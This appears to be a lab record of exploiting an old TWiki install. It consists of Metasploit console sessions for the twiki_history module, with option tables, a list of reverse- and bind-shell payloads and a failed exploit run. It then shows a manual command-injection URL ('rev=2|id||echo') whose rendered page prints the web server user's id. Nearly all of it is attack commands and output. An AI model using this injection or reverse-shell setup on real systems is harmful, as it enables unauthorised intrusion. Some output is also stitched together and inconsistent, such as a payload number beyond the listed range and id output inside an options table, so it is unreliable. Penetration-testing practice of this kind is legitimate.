

```

msf6 exploit(unix/webapp/twiki_history) > show options

Module options (exploit/unix/webapp/twiki_history):



| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                           |
| RHOSTS  | 192.168.1.58    | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 80              | yes      | The target port (TCP)                                                                                  |
| SSL     | false           | no       | Negotiate SSL/TLS for outgoing connections                                                             |
| URI     | /twiki/bin      | yes      | Twiki bin directory path                                                                               |
| VHOST   |                 | no       | HTTP server virtual host                                                                               |



Payload options (cmd/unix/python/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.1.58    | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| -- | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info or info -d command.

```

```
msf6 exploit(unix/webapp/twiki_history) > set RHOSTS 192.168.1.57
RHOSTS => 192.168.1.57
msf6 exploit(unix/webapp/twiki_history) > show options

Module options (exploit/unix/webapp/twiki_history):


| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                           |
| RHOSTS  | 192.168.1.57    | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 80              | yes      | The target port (TCP)                                                                                  |
| SSL     | false           | no       | Negotiate SSL/TLS for outgoing connections                                                             |
| URI     | /twiki/bin      | yes      | Twiki bin directory path                                                                               |
| VHOST   |                 | no       | HTTP server virtual host                                                                               |



Payload options (cmd/unix/python/meterpreter/reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.1.58    | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:


| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.
```

```
msf6 exploit(unix/webapp/twiki_history) > show payloads

Compatible Payloads


| #  | Name                                                 | Disclosure Date | Rank   | Check | Description                                                                  |
|----|------------------------------------------------------|-----------------|--------|-------|------------------------------------------------------------------------------|
| 0  | payload/cmd/unix/adduser                             |                 | normal | No    | Add user with useradd                                                        |
| 1  | payload/cmd/unix/bind_awk                            |                 | normal | No    | Unix Command Shell, Bind TCP (via AWK)                                       |
| 2  | payload/cmd/unix/bind_aws_instance_connect           |                 | normal | No    | Unix SSH Shell, Bind Instance Connect (via AWS API)                          |
| 3  | payload/cmd/unix/bind_busybox_telnetd                |                 | normal | No    | Unix Command Shell, Bind TCP (via BusyBox telnetd)                           |
| 4  | payload/cmd/unix/bind_inetd                          |                 | normal | No    | Unix Command Shell, Bind TCP (via inetd)                                     |
| 5  | payload/cmd/unix/bind_jjs                            |                 | normal | No    | Unix Command Shell, Bind TCP (via jjs)                                       |
| 6  | payload/cmd/unix/bind_lua                            |                 | normal | No    | Unix Command Shell, Bind TCP (via Lua)                                       |
| 7  | payload/cmd/unix/bind_netcat                         |                 | normal | No    | Unix Command Shell, Bind TCP (via netcat)                                    |
| 8  | payload/cmd/unix/bind_netcat_gaping                  |                 | normal | No    | Unix Command Shell, Bind TCP (via netcat -e)                                 |
| 9  | payload/cmd/unix/bind_netcat_gaping_ipv6             |                 | normal | No    | Unix Command Shell, Bind TCP (via netcat -e) IPv6                            |
| 10 | payload/cmd/unix/bind_perl                           |                 | normal | No    | Unix Command Shell, Bind TCP (via Perl)                                      |
| 11 | payload/cmd/unix/bind_perl_ipv6                      |                 | normal | No    | Unix Command Shell, Bind TCP (via perl) IPv6                                 |
| 12 | payload/cmd/unix/bind_r                              |                 | normal | No    | Unix Command Shell, Bind TCP (via R)                                         |
| 13 | payload/cmd/unix/bind_ruby                           |                 | normal | No    | Unix Command Shell, Bind TCP (via Ruby)                                      |
| 14 | payload/cmd/unix/bind_ruby_ipv6                      |                 | normal | No    | Unix Command Shell, Bind TCP (via Ruby) IPv6                                 |
| 15 | payload/cmd/unix/bind_socat_sctp                     |                 | normal | No    | Unix Command Shell, Bind SCTP (via socat)                                    |
| 16 | payload/cmd/unix/bind_socat_udp                      |                 | normal | No    | Unix Command Shell, Bind UDP (via socat)                                     |
| 17 | payload/cmd/unix/bind_stub                           |                 | normal | No    | Unix Command Shell, Bind TCP (via stub)                                      |
| 18 | payload/cmd/unix/bind_zsh                            |                 | normal | No    | Unix Command Shell, Bind TCP (via Zsh)                                       |
| 19 | payload/cmd/unix/generic                             |                 | normal | No    | Unix Command, Generic Command Execution                                      |
| 20 | payload/cmd/unix/pingback_bind                       |                 | normal | No    | Unix Command Shell, Pingback Bind TCP (via netcat)                           |
| 21 | payload/cmd/unix/pingback_reverse                    |                 | normal | No    | Unix Command Shell, Pingback Reverse TCP (via netcat)                        |
| 22 | payload/cmd/unix/python/meterpreter/bind_tcp         |                 | normal | No    | Python Exec, Python Meterpreter, Python Bind TCP Stager                      |
| 23 | payload/cmd/unix/python/meterpreter/bind_tcp_uuid    |                 | normal | No    | Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support    |
| 24 | payload/cmd/unix/python/meterpreter/reverse_http     |                 | normal | No    | Python Exec, Python Meterpreter, Python Reverse HTTP Stager                  |
| 25 | payload/cmd/unix/python/meterpreter/reverse_https    |                 | normal | No    | Python Exec, Python Meterpreter, Python Reverse HTTPS Stager                 |
| 26 | payload/cmd/unix/python/meterpreter/reverse_tcp      |                 | normal | No    | Python Exec, Python Meterpreter, Python Reverse TCP Stager                   |
| 27 | payload/cmd/unix/python/meterpreter/reverse_tcp_ssl  |                 | normal | No    | Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager               |
| 28 | payload/cmd/unix/python/meterpreter/reverse_tcp_uuid |                 | normal | No    | Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support |
| 29 | payload/cmd/unix/python/meterpreter/bind_tcp         |                 | normal | No    | Python Exec, Python Meterpreter Shell, Bind TCP Inline                       |
| 30 | payload/cmd/unix/python/meterpreter/reverse_http     |                 | normal | No    | Python Exec, Python Meterpreter Shell, Reverse HTTP Inline                   |
| 31 | payload/cmd/unix/python/meterpreter/reverse_https    |                 | normal | No    | Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline                  |
| 32 | payload/cmd/unix/python/meterpreter/reverse_tcp      |                 | normal | No    | Python Exec, Python Meterpreter Shell, Reverse TCP Inline                    |
| 33 | payload/cmd/unix/python/pingback_bind_tcp            |                 | normal | No    | Python Exec, Python Pingback, Bind TCP (via python)                          |
| 34 | payload/cmd/unix/python/pingback_reverse_tcp         |                 | normal | No    | Python Exec, Python Pingback, Reverse TCP (via python)                       |
| 35 | payload/cmd/unix/python/shell_bind_tcp               |                 | normal | No    | Python Exec, Command Shell, Bind TCP (via python)                            |
| 36 | payload/cmd/unix/python/shell_reverse_sctp           |                 | normal | No    | Python Exec, Command Shell, Reverse SCTP (via python)                        |
| 37 | payload/cmd/unix/python/shell_reverse_tcp            |                 | normal | No    | Python Exec, Command Shell, Reverse TCP (via python)                         |
| 38 | payload/cmd/unix/python/shell_reverse_tcp_ssl        |                 | normal | No    | Python Exec, Command Shell, Reverse TCP SSL (via python)                     |
| 39 | payload/cmd/unix/python/shell_reverse_udp            |                 | normal | No    | Python Exec, Command Shell, Reverse UDP (via python)                         |


```

```

msf6 exploit(unix/webapp/twiki_history) > set payload 40
payload => cmd/unix/reverse
msf6 exploit(unix/webapp/twiki_history) > show options

Module options (exploit/unix/webapp/twiki_history):
uid=33(www-data) gid=33(www-data) groups=33(www-data)



| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                         |
| RHOSTS  | 192.168.1.57    | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 80              | yes      | The target port (TCP)                                                                                  |
| SSL     | false           | no       | Negotiate SSL/TLS for outgoing connections                                                             |
| URI     | /twiki/bin      | yes      | Twiki bin directory path                                                                               |
| VHOST   |                 | no       | HTTP server virtual host                                                                               |



Payload options (cmd/unix/reverse):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.1.58    | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/twiki_history) > exploit


[*] Started reverse TCP double handler on 192.168.1.58:4444
[+] Successfully sent exploit request
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/twiki_history) >

```

TWiki . Main . TWikiUsers (r1.2|id||echo)

192.168.1.57/twiki/bin/view/Main/TWikiUsers?rev=2|id||echo%20

Kali Linux
Kali Tools
Kali Docs
Kali Forums
Kali NetHunter
Exploit-DB
Google Hacking DB
OffSec


Twiki > [Main](#) > **TWikiUsers** (r1.2|id||echo)

[Main](#) | [TWiki](#) | [Know](#) | [Sandbox](#)

Main . { [Users](#) | [Groups](#) | [Offices](#) | [Changes](#) | [Index](#) | [Search](#) | Go }

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Topic **TWikiUsers** . { [Edit](#) | [Attach](#) | [Ref-By](#) | [Printable](#) | [Diffs](#) | [r1.16](#) | [>](#) | [r1.15](#) | [>](#) | [r1.14](#) | [More](#) }

Revision r1.2|id||echo - 01 Jan 1970 - 00:00 GMT -

TWiki webs:
Copyright © 1999-2003 by the contributing authors. All material on this collaboration platform is the property of the contributing authors.
Ideas, requests, problems regarding TWiki? [Send](#) feedback.